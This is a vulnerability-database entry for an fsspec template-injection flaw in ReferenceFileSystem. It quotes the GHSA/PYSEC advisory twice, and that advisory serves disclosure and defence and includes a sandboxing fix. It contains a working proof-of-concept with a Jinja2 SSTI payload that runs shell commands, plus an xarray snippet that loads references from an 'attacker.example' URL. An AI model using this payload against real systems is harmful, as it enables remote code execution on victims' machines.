CVE-2026-104851
highpriority · track · 0EPSS 0.005 · 41 %ileDEFRUSEPSS · scored 2026-10-27
fsspec is a specification and Python implementation framework for filesystem interfaces. From 0.9.0 until 2026.6.0, fsspec.implementations.reference.ReferenceFileSystem evaluates fields from Kerchunk reference JSON documents through unrestricted jinja2.Template(...).render(...) calls in _process_references1._render_jinja, _process_templates, and _process_gen in fsspec/implementations/reference.py. A document supplied inline or fetched from an attacker-controlled URL can provide template expressions that execute Python code when the reference filesystem is opened, including through consumers such as xarray, before referenced data is read. The _process_gen path is reached whenever a document includes a gen array, while the other paths depend on template-related options and values. This issue is fixed in version 2026.6.0.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
The CWE weakness classes this flaw belongs to.
affected products (6)
Products and version ranges known to be affected.
- Red Hat Ansible Automation Platform 2.6all versionscert_bundDEcpe:/a:redhat:ansible_automation_platform:2.6
- Red Hat Ansible Automation Platform 2.7all versionscert_bundDEcpe:/a:redhat:ansible_automation_platform:2.7
advisories (4)
Vendor and ecosystem advisories describing this.
- WID-SEC-W-2026-4111Red Hat Ansible Automation Platform: Mehrere SchwachstellenDeutsch2026-10-21csaf · cert_bundDE
Ein Angreifer kann mehrere Schwachstellen in Red Hat Ansible Automation Platform ausnutzen, um beliebigen Code mit Benutzer- oder Anwendungsrechten auszuführen, gültige kryptografische Token zu fälschen, die Authentifizierung zu umgehen, erweiterte Rechte zu erlangen, Denial-of-Service-Zustände auszulösen sowie Daten zu manipulieren oder offenzulegen.
- GHSA-27vj-qcqg-25rcfsspec: Server-Side Template Injection in ReferenceFileSystem leads to Remote Code Execution2026-10-05ghsa · osvUS
### Summary `fsspec.implementations.reference.ReferenceFileSystem` parses a "references" JSON document (Kerchunk format) supplied either inline or via a URL. The parser renders fields from this JSON through **un-sandboxed** `jinja2.Template(...).render(...)` calls in three locations. An attacker who controls the JSON document — typically by hosting it at a URL that the victim opens with `fsspec.filesystem("reference", fo=URL)` or via `xarray.open_dataset("reference://...")` — achieves arbitrary Python code execution on the victim machine, before any data is read. This mirrors the pattern of [CVE-2024-34359](https://nvd.nist.gov/vuln/detail/CVE-2024-34359) in `llama-cpp-python`, where externally-sourced template strings were rendered with the default unrestricted Jinja2 environment. ### Affected versions All versions of `fsspec` from `0.9.0` onward (vulnerable code introduced in commit `0fb8d56b684ee74ad9ad4587fd560bde1b116450`, 2021-03-12). Confirmed on the latest released version `2025.10.0`. ### Affected sinks All in `fsspec/implementations/reference.py`: | Sink | Location | Trigger | |---|---|---| | A — `_process_references1._render_jinja` | lines 1016-1018 | `simple_templates=False` and a `refs` entry contains `{{` | | B — `_process_templates` (lambda) | lines 1043-1053 | `templates` dict has values containing `{{`, invoked later via render context | | C — `_process_gen` | lines 1075-1083 | references JSON contains a `gen` array (always reached, regardless of `simple_templates`) | Sink C is the most severe: it is reached unconditionally for any references JSON that includes a `gen` field. The vulnerable code: ```python # fsspec/implementations/reference.py # Sink A @lru_cache(1000) def _render_jinja(u): return jinja2.Template(u).render(**self.templates) # <- unsandboxed # Sink B def _process_templates(self, tmp): ... for k, v in tmp.items(): if "{{" in v: import jinja2 self.templates[k] = lambda temp=v, **kwargs: jinja2.Template( temp # <- unsandboxed ).render(**kwargs) # Sink C def _process_gen(self, gens): ... for pr in products: import jinja2 key = jinja2.Template(gen["key"]).render(**pr, **self.templates) # <- unsandboxed url = jinja2.Template(gen["url"]).render(**pr, **self.templates) # <- unsandboxed if ("offset" in gen) and ("length" in gen): offset = int(jinja2.Template(gen["offset"]).render(...)) # <- unsandboxed length = int(jinja2.Template(gen["length"]).render(...)) # <- unsandboxed ``` ### Proof of concept (Sink C, minimal) Save as `poc.py`: ```python import http.server, json, socketserver, threading, time, fsspec from pathlib import Path PAYLOAD = "{{ joiner.__init__.__globals__.os.popen('touch /tmp/fsspec_pwned_$(whoami)').read() }}" REF = { "version": 1, "templates": {}, "refs": {"x": "x"}, "gen": [{ "key": PAYLOAD + "/{{ i }}", "url": "http://example.com/{{ i }}", "offset": "0", "length": "0", "dimensions": {"i": [0]}, }], } body = json.dumps(REF).encode() class H(http.server.BaseHTTPRequestHandler): def do_GET(self): self.send_response(200); self.end_headers(); self.wfile.write(body) def log_message(self, *a, **kw): pass srv = socketserver.TCPServer(("127.0.0.1", 0), H) threading.Thread(target=srv.serve_forever, daemon=True).start() url = f"http://127.0.0.1:{srv.server_address[1]}/refs.json" for p in Path("/tmp").glob("fsspec_pwned_*"): p.unlink() try: fsspec.filesystem("reference", fo=url) except Exception as e: print("exception:", e) srv.shutdown() time.sleep(0.3) print("markers:", list(Path("/tmp").glob("fsspec_pwned_*"))) ``` Run: ``` pip install fsspec aiohttp requests jinja2 python3 poc.py # → markers: [PosixPath('/tmp/fsspec_pwned_<user>')] ``` ### End-to-end via xarray (real-world consumer pathway) ```python import xarray as xr ds = xr.open_dataset( "reference://", engine="zarr", backend_kwargs={ "consolidated": False, "storage_options": { "fo": "http://attacker.example/refs.json", "remote_protocol": "http", }, }, ) # RCE fires before any data is materialised. ``` ### Tested on - fsspec 2025.10.0, jinja2 3.1.6, Python 3.9, macOS 14 - fsspec 2025.10.0, jinja2 3.1.6, Python 3.12-slim, Docker Linux ### Impact `fsspec.ReferenceFileSystem` is the canonical entrypoint for the **Kerchunk** format, widely used in the Pangeo / Earth-observation / climate data-science ecosystem to provide cloud-optimised views of HDF5 / NetCDF / GRIB archives hosted on object storage. Realistic attack vectors: - A user opens a community-shared Kerchunk catalogue link via xarray/dask. - A managed data-science platform (notebook server, batch job runner) ingests user-submitted Kerchunk URLs. - A workflow downloads a catalogue from a bucket whose contents have been tampered with (supply chain). In every case, the victim performs no action beyond opening a "reference filesystem" — there is no documented expectation that a data catalogue can execute arbitrary Python code. ### Suggested fix Replace `jinja2.Template(...)` with a shared `jinja2.sandbox.ImmutableSandboxedEnvironment` for all three sinks. This matches the post-incident hardening applied to `llama-cpp-python` after CVE-2024-34359. ```python # At module top def _sandboxed_env(): import jinja2.sandbox env = getattr(_sandboxed_env, "_env", None) if env is None: env = jinja2.sandbox.ImmutableSandboxedEnvironment() _sandboxed_env._env = env return env ``` Then in each sink, replace `jinja2.Template(s).render(...)` with `_sandboxed_env().from_string(s).render(...)`. The legitimate Kerchunk template syntax (simple variable substitution like `{{ varname }}`) continues to work under the sandbox; only the SSTI gadgets (`__class__`, `__init__.__globals__`, `__subclasses__`, etc.) are refused with `jinja2.exceptions.SecurityError`. A complete patch is available on request. ### Credit Reported by Dany.A
- CERTFR-2026-AVI-1385Multiples vulnérabilités dans les produits VMwareFrançais2026-10-26vendor · certfrFR
- PYSEC-2026-4217fsspec: Server-Side Template Injection in ReferenceFileSystem leads to Remote Code Execution2026-10-15vendor · osvUS
### Summary `fsspec.implementations.reference.ReferenceFileSystem` parses a "references" JSON document (Kerchunk format) supplied either inline or via a URL. The parser renders fields from this JSON through **un-sandboxed** `jinja2.Template(...).render(...)` calls in three locations. An attacker who controls the JSON document — typically by hosting it at a URL that the victim opens with `fsspec.filesystem("reference", fo=URL)` or via `xarray.open_dataset("reference://...")` — achieves arbitrary Python code execution on the victim machine, before any data is read. This mirrors the pattern of [CVE-2024-34359](https://nvd.nist.gov/vuln/detail/CVE-2024-34359) in `llama-cpp-python`, where externally-sourced template strings were rendered with the default unrestricted Jinja2 environment. ### Affected versions All versions of `fsspec` from `0.9.0` onward (vulnerable code introduced in commit `0fb8d56b684ee74ad9ad4587fd560bde1b116450`, 2021-03-12). Confirmed on the latest released version `2025.10.0`. ### Affected sinks All in `fsspec/implementations/reference.py`: | Sink | Location | Trigger | |---|---|---| | A — `_process_references1._render_jinja` | lines 1016-1018 | `simple_templates=False` and a `refs` entry contains `{{` | | B — `_process_templates` (lambda) | lines 1043-1053 | `templates` dict has values containing `{{`, invoked later via render context | | C — `_process_gen` | lines 1075-1083 | references JSON contains a `gen` array (always reached, regardless of `simple_templates`) | Sink C is the most severe: it is reached unconditionally for any references JSON that includes a `gen` field. The vulnerable code: ```python # fsspec/implementations/reference.py # Sink A @lru_cache(1000) def _render_jinja(u): return jinja2.Template(u).render(**self.templates) # <- unsandboxed # Sink B def _process_templates(self, tmp): ... for k, v in tmp.items(): if "{{" in v: import jinja2 self.templates[k] = lambda temp=v, **kwargs: jinja2.Template( temp # <- unsandboxed ).render(**kwargs) # Sink C def _process_gen(self, gens): ... for pr in products: import jinja2 key = jinja2.Template(gen["key"]).render(**pr, **self.templates) # <- unsandboxed url = jinja2.Template(gen["url"]).render(**pr, **self.templates) # <- unsandboxed if ("offset" in gen) and ("length" in gen): offset = int(jinja2.Template(gen["offset"]).render(...)) # <- unsandboxed length = int(jinja2.Template(gen["length"]).render(...)) # <- unsandboxed ``` ### Proof of concept (Sink C, minimal) Save as `poc.py`: ```python import http.server, json, socketserver, threading, time, fsspec from pathlib import Path PAYLOAD = "{{ joiner.__init__.__globals__.os.popen('touch /tmp/fsspec_pwned_$(whoami)').read() }}" REF = { "version": 1, "templates": {}, "refs": {"x": "x"}, "gen": [{ "key": PAYLOAD + "/{{ i }}", "url": "http://example.com/{{ i }}", "offset": "0", "length": "0", "dimensions": {"i": [0]}, }], } body = json.dumps(REF).encode() class H(http.server.BaseHTTPRequestHandler): def do_GET(self): self.send_response(200); self.end_headers(); self.wfile.write(body) def log_message(self, *a, **kw): pass srv = socketserver.TCPServer(("127.0.0.1", 0), H) threading.Thread(target=srv.serve_forever, daemon=True).start() url = f"http://127.0.0.1:{srv.server_address[1]}/refs.json" for p in Path("/tmp").glob("fsspec_pwned_*"): p.unlink() try: fsspec.filesystem("reference", fo=url) except Exception as e: print("exception:", e) srv.shutdown() time.sleep(0.3) print("markers:", list(Path("/tmp").glob("fsspec_pwned_*"))) ``` Run: ``` pip install fsspec aiohttp requests jinja2 python3 poc.py # → markers: [PosixPath('/tmp/fsspec_pwned_<user>')] ``` ### End-to-end via xarray (real-world consumer pathway) ```python import xarray as xr ds = xr.open_dataset( "reference://", engine="zarr", backend_kwargs={ "consolidated": False, "storage_options": { "fo": "http://attacker.example/refs.json", "remote_protocol": "http", }, }, ) # RCE fires before any data is materialised. ``` ### Tested on - fsspec 2025.10.0, jinja2 3.1.6, Python 3.9, macOS 14 - fsspec 2025.10.0, jinja2 3.1.6, Python 3.12-slim, Docker Linux ### Impact `fsspec.ReferenceFileSystem` is the canonical entrypoint for the **Kerchunk** format, widely used in the Pangeo / Earth-observation / climate data-science ecosystem to provide cloud-optimised views of HDF5 / NetCDF / GRIB archives hosted on object storage. Realistic attack vectors: - A user opens a community-shared Kerchunk catalogue link via xarray/dask. - A managed data-science platform (notebook server, batch job runner) ingests user-submitted Kerchunk URLs. - A workflow downloads a catalogue from a bucket whose contents have been tampered with (supply chain). In every case, the victim performs no action beyond opening a "reference filesystem" — there is no documented expectation that a data catalogue can execute arbitrary Python code. ### Suggested fix Replace `jinja2.Template(...)` with a shared `jinja2.sandbox.ImmutableSandboxedEnvironment` for all three sinks. This matches the post-incident hardening applied to `llama-cpp-python` after CVE-2024-34359. ```python # At module top def _sandboxed_env(): import jinja2.sandbox env = getattr(_sandboxed_env, "_env", None) if env is None: env = jinja2.sandbox.ImmutableSandboxedEnvironment() _sandboxed_env._env = env return env ``` Then in each sink, replace `jinja2.Template(s).render(...)` with `_sandboxed_env().from_string(s).render(...)`. The legitimate Kerchunk template syntax (simple variable substitution like `{{ varname }}`) continues to work under the sandbox; only the SSTI gadgets (`__class__`, `__init__.__globals__`, `__subclasses__`, etc.) are refused with `jinja2.exceptions.SecurityError`. A complete patch is available on request. ### Credit Reported by Dany.A
also known as (2)
Other names and identifiers for this entity.
sources
Which sources assert this record, and when.
references (6) nvd
External citations — patches, advisories, analysis.
- https://github.com/fsspec/filesystem_spec/commit/86438783f93b1398ef245b92f0e6063b445b611c
- https://github.com/fsspec/filesystem_spec/commit/a1c16ab3f07f354aa371c38f7b1b07ea7fd4c5c8
- https://github.com/fsspec/filesystem_spec/pull/2029
- https://github.com/fsspec/filesystem_spec/pull/2039
- https://github.com/fsspec/filesystem_spec/releases/tag/2026.6.0
- https://github.com/fsspec/filesystem_spec/security/advisories/GHSA-27vj-qcqg-25rc
Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.
Free scan